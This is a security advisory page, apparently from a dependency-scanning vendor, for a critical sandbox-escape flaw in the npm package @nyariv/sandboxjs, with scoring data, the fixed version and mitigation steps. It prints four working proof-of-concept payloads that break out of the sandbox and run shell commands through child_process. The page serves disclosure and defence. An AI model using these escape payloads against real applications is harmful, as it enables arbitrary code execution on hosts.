Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-58jh-xv4v-pcx4

CRITICAL

@nyariv/sandboxjs has a Sandbox Escape issue

Also known asCVE-2026-25520
Published
Feb 5, 2026
Updated
Feb 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk51th percentile+0.73%
0.00%0.43%0.85%1.28%0.0%0.1%0.1%0.1%0.8%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦@nyariv/sandboxjs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nyariv/sandboxjsall versions0.8.29

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-58jh-xv4v-pcx4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-58jh-xv4v-pcx4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-58jh-xv4v-pcx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox. ### Details The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. ### PoC ```js const s = require('@nyariv/sandboxjs').default; const sb = new s(); payload = ` console.log( Object.values(this).at(0)( "return pr
O3 Security · Impact-Aware SCA

Is GHSA-58jh-xv4v-pcx4 in your dependencies?

O3 detects GHSA-58jh-xv4v-pcx4 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.